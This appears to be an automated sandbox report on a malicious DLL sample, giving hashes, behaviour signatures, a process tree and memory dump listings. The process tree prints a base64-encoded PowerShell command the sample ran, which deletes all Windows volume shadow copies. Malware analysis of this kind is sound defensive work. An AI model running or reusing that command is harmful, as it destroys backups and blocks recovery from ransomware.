Analysis

  • max time kernel
    120s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    30-01-2022 08:01

General

  • Target

    14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll

  • Size

    116KB

  • MD5

    4fdd9fee836c7007a3dc19f1b8b715d4

  • SHA1

    d44edcc9c11c6b3f9bf61b3b3eda6be28be10ab5

  • SHA256

    14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182

  • SHA512

    efa05da7a61a7b6b2861212a90bae1d7c5eb05e4bb61b2ca6654d4a0ca3f0cdaa309da2c8d9d2e9a4c24ebef157b94853acb995e9b6c033fe88473affa41a9e2

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1592
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\14840130ab75587bc52c2f6cab5725e7d23fee87f2ae8b80921738632bd81182.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1200
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1252
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1500

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1200-55-0x000007FEFC521000-0x000007FEFC523000-memory.dmp
      Filesize

      8KB

    • memory/1200-58-0x00000000026B2000-0x00000000026B4000-memory.dmp
      Filesize

      8KB

    • memory/1200-57-0x00000000026B0000-0x00000000026B2000-memory.dmp
      Filesize

      8KB

    • memory/1200-59-0x00000000026B4000-0x00000000026B7000-memory.dmp
      Filesize

      12KB

    • memory/1200-56-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp
      Filesize

      11.4MB

    • memory/1200-60-0x000000001B6E0000-0x000000001B9DF000-memory.dmp
      Filesize

      3.0MB

    • memory/1200-61-0x00000000026BB000-0x00000000026DA000-memory.dmp
      Filesize

      124KB

    • memory/1892-54-0x0000000076C91000-0x0000000076C93000-memory.dmp
      Filesize

      8KB